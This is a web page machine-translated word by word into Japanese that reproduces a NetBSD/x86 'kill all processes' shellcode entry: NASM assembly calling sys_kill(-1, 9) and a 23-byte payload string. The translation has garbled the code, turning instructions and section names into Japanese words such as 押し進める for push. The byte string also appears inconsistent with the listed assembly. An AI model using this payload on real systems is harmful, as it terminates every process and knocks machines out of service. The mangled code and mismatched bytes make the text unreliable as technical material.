このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


NetBSD/x86 - kill all 過程s shellcode - 23 bytes
/*
netbsd/x86 kill all 過程s shellcode
author 匿名の/不明の
this shellcode is using syscall number 37 or 0x25
37      STD             { int sys_kill(int pid, int signum); }
here is assembler code using intel syntaxe and NASM
--------------begin-----------
section .公式文書,認める.netbsd.ident
    dd  0x07,0x04,0x01
    db  "NetBSD",0x00,0x00
    dd  200000000
 section .data
 section .text
    全世界の _start
 _start:
xor eax, eax
押し進める 0x09
mov eax, -1
押し進める eax
xor eax,eax
mov al, 37
押し進める eax
int 0x80
-------------------------end------------
if we dissasemble this code wi will get shellcode
"\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"
*/